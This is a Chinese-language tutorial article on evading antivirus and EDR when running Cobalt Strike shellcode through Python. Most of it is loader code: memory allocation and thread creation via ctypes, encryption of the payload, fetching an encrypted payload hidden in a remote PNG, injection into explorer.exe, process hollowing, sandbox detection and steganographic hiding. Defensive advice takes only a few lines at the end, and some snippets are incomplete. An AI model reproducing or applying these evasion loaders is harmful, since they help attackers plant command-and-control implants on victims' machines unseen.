您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 利用Python免杀CS Shellcode
## 目录
- [前言](#前言)
- [基础概念解析](#基础概念解析)
- [1.1 什么是Shellcode](#11-什么是shellcode)
- [1.2 Cobalt Strike简介](#12-cobalt-strike简介)
- [1.3 杀毒软件检测原理](#13-杀毒软件检测原理)
- [1.4 免杀技术核心思想](#14-免杀技术核心思想)
- [Python实现免杀的优势](#python实现免杀的优势)
- [环境准备](#环境准备)
- [基础免杀实现](#基础免杀实现)
- [4.1 原始Shellcode加载](#41-原始shellcode加载)
- [4.2 分段加载技术](#42-分段加载技术)
- [4.3 简单的异或加密](#43-简单的异或加密)
- [高级免杀技术](#高级免杀技术)
- [5.1 动态API调用](#51-动态api调用)
- [5.2 Shellcode分离加载](#52-shellcode分离加载)
- [5.3 内存操作规避](#53-内存操作规避)
- [5.4 进程注入技术](#54-进程注入技术)
- [5.5 反沙箱技术](#55-反沙箱技术)
- [实战案例](#实战案例)
- [6.1 案例一:纯Python内存加载](#61-案例一纯python内存加载)
- [6.2 案例二:进程空洞注入](#62-案例二进程空洞注入)
- [6.3 案例三:图片隐写术](#63-案例三图片隐写术)
- [检测与对抗](#检测与对抗)
- [防御建议](#防御建议)
- [结语](#结语)
- [参考资料](#参考资料)
## 前言
在渗透测试和红队行动中,Cobalt Strike(CS)是使用最广泛的C2框架之一。然而随着终端安全防护技术(EDR/AV)的进步,传统的CS payload越来越容易被检测。本文将深入探讨如何利用Python语言实现CS shellcode的免杀执行,涵盖从基础到高级的多种技术方案。
## 基础概念解析
### 1.1 什么是Shellcode
Shellcode是一段用于利用软件漏洞执行特定操作的机器码,通常以十六进制数组形式存在。在CS框架中,生成的shellcode实质上是实现与C2服务器通信的功能代码。
典型特征:
- 不含PE头结构
- 位置无关代码(PIC)
- 通常需要注入到进程内存中执行
### 1.2 Cobalt Strike简介
Cobalt Strike是商业化渗透测试工具,提供:
- 多协议C2通信
- 可视化团队协作
- 丰富的扩展功能
- 多种payload生成选项
生成的shellcode类型包括:
- x86/x64原生shellcode
- .NET程序集
- PowerShell脚本
- 反射DLL加载等
### 1.3 杀毒软件检测原理
现代AV/EDR主要检测手段:
| 检测层面 | 检测方式 | 示例 |
|---------|---------|------|
| 静态扫描 | 特征码匹配 | YARA规则 |
| 行为监控 | API调用序列 | VirtualAlloc→WriteMemory→CreateThread |
| 内存扫描 | 可疑内存模式 | 可执行内存区域中的shellcode特征 |
| 启发式分析 | 异常行为评分 | 短时间内进行敏感操作 |
### 1.4 免杀技术核心思想
免杀(Bypass AV)的核心原则:
1. 规避静态特征
- 加密/编码shellcode
- 拆分关键字符串
- 使用非常规加载方式
2. 混淆行为特征
- 延迟执行
- 环境感知
- 分阶段加载
3. 隐藏内存痕迹
- 内存加密
- 无文件落地
- 合法进程注入
## Python实现免杀的优势
相比其他语言,Python具有独特优势:
1. 解释型语言特性
- 无原生二进制特征
- 可动态构造执行逻辑
2. 丰富的标准库
```python
import ctypes
import mmap
import struct
易用的内存操作
buf = create_string_buffer(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
跨平台兼容性
庞大的第三方库生态
pycryptodome # 加密算法
pypiwin32 # Windows API封装
基础环境配置:
# 推荐Python 3.8+
pip install pycryptodome pypiwin32 numpy pillow
CS生成原始shellcode:
1. 使用Attacks → Packages → Windows Executable (S)
生成
2. 选择”Raw”格式输出
3. 使用Python转换脚本:
with open("payload.bin", "rb") as f:
shellcode = f.read()
print(",".join(f"0x{b:02x}" for b in shellcode))
最基础的加载方式(易被检测):
import ctypes
shellcode = bytearray([0x90, 0x90,...]) # 替换为实际shellcode
# 申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
# 写入内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建线程执行
thread = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待执行结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread),
ctypes.c_int(-1))
拆分shellcode降低检测率:
import ctypes
import time
# 将shellcode分成多个片段
parts = [
shellcode[:300],
shellcode[300:600],
shellcode[600:]
]
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
offset = 0
for part in parts:
# 分段写入
buf = (ctypes.c_char * len(part)).from_buffer(part)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(ptr + offset),
buf,
len(part))
offset += len(part)
time.sleep(1) # 增加延迟
基础加密实现:
def xor_encrypt(data, key):
return bytearray([b ^ key for b in data])
key = 0x41
encrypted = xor_encrypt(shellcode, key)
# 使用时解密
decrypted = xor_encrypt(encrypted, key)
避免直接导入敏感API:
# 传统方式(易被检测)
from ctypes import windll
windll.kernel32.VirtualAlloc(...)
# 动态解析方式
kernel32 = ctypes.windll.LoadLibrary("kernel32.dll")
virtual_alloc = getattr(kernel32, "VirtualAlloc")
virtual_alloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong]
virtual_alloc.restype = ctypes.c_void_p
通过网络或文件分离加载:
import requests
# 从远程服务器获取加密shellcode
url = "http://example.com/logo.png"
response = requests.get(url)
encrypted = response.content[1024:] # 从PNG文件尾部读取
# 解密并加载
key = extract_key(response.content[:1024])
shellcode = decrypt(encrypted, key)
使用非常规内存API:
# 使用文件映射代替VirtualAlloc
h_file = ctypes.windll.kernel32.CreateFileMappingA(
-1, None, 0x40, 0, len(shellcode), None)
ptr = ctypes.windll.kernel32.MapViewOfFile(
h_file, 0xF001F, 0, 0, len(shellcode))
注入到合法进程:
PROCESS_ALL_ACCESS = 0x1F0FFF
pid = find_process_id("explorer.exe")
h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
# 在目标进程分配内存
remote_ptr = ctypes.windll.kernel32.VirtualAllocEx(
h_process,
None,
len(shellcode),
0x3000,
0x40)
# 写入远程进程
ctypes.windll.kernel32.WriteProcessMemory(
h_process,
remote_ptr,
shellcode,
len(shellcode),
None)
环境检测示例:
def check_environment():
# 检测CPU核心数
if os.cpu_count() < 2:
return False
# 检测内存大小
if psutil.virtual_memory().total < 4*1024**3: # 小于4GB
return False
# 检测运行时间
start_time = time.time()
heavy_computation()
elapsed = time.time() - start_time
if elapsed < expected_time*0.8: # 虚拟机可能加速计算
return False
return True
import ctypes
import hashlib
from Crypto.Cipher import AES
class ShellcodeLoader:
def __init__(self, key):
self.key = hashlib.sha256(key).digest()
def decrypt(self, data):
iv = data[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return cipher.decrypt(data[16:])
def load(self, encrypted_sc):
sc = self.decrypt(encrypted_sc)
# 使用Nt系列API
ntdll = ctypes.windll.ntdll
status = ntdll.NtAllocateVirtualMemory(
-1,
ctypes.byref(ctypes.c_void_p()),
0,
ctypes.byref(ctypes.c_ulong(len(sc))),
0x3000,
0x40)
# 写入内存
ctypes.memmove(ptr, sc, len(sc))
# 创建线程
thread = ctypes.c_ulong()
ntdll.NtCreateThreadEx(
ctypes.byref(thread),
0x1FFFFF,
None,
-1,
ptr,
None,
False,
0,
0,
0,
None)
import ctypes
import struct
def process_hollowing(target_exe, shellcode):
# 1. 创建挂起进程
startupinfo = STARTUPINFO()
process_info = PROCESS_INFORMATION()
ctypes.windll.kernel32.CreateProcessA(
None,
target_exe,
None,
None,
False,
0x4, # CREATE_SUSPENDED
None,
None,
ctypes.byref(startupinfo),
ctypes.byref(process_info))
# 2. 获取PEB地址
context = CONTEXT()
context.ContextFlags = 0x10007 # CONTEXT_FULL
ctypes.windll.kernel32.GetThreadContext(
process_info.hThread,
ctypes.byref(context))
# 3. 读取目标进程内存
peb_addr = context.Ebx
image_base = ctypes.c_void_p()
ctypes.windll.kernel32.ReadProcessMemory(
process_info.hProcess,
peb_addr+8,
ctypes.byref(image_base),
4,
None)
# 4. 卸载目标映像
ctypes.windll.ntdll.ZwUnmapViewOfSection(
process_info.hProcess,
image_base)
# 5. 分配新内存并写入shellcode
new_base = ctypes.windll.kernel32.VirtualAllocEx(
process_info.hProcess,
image_base,
len(shellcode),
0x3000,
0x40)
ctypes.windll.kernel32.WriteProcessMemory(
process_info.hProcess,
new_base,
shellcode,
len(shellcode),
None)
# 6. 修复上下文并恢复执行
context.Eax = new_base + entry_point
ctypes.windll.kernel32.SetThreadContext(
process_info.hThread,
ctypes.byref(context))
ctypes.windll.kernel32.ResumeThread(
process_info.hThread)
from PIL import Image
import numpy as np
class ImageStego:
@staticmethod
def encode(img_path, shellcode):
img = Image.open(img_path)
data = np.array(img)
# 将shellcode嵌入最低有效位
flat = data.flatten()
for i in range(len(shellcode)):
byte = shellcode[i]
for j in range(8):
flat[i*8+j] = (flat[i*8+j] & 0xFE) | ((byte >> j) & 1)
return Image.fromarray(flat.reshape(data.shape))
@staticmethod
def decode(img_path):
img = Image.open(img_path)
data = np.array(img).flatten()
shellcode = bytearray()
for i in range(0, len(data)//8):
byte = 0
for j in range(8):
byte |= (data[i*8+j] & 1) << j
shellcode.append(byte)
return shellcode
现代EDR的对抗手段:
用户态Hook检测
内核态监控
机器学习检测
对抗建议: - 使用合法的进程注入目标(如msbuild.exe) - 模仿正常软件的内存操作模式 - 引入随机延迟和垃圾操作
针对此类攻击的防御措施:
应用白名单
增强监控
终端防护
网络层防御
Python作为灵活的解释型语言,为shellcode免杀提供了丰富的可能性。随着安全防御技术的进步,攻防对抗将不断升级。本文介绍的技术仅供安全研究和防御方测试使用,请勿用于非法用途。
”`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。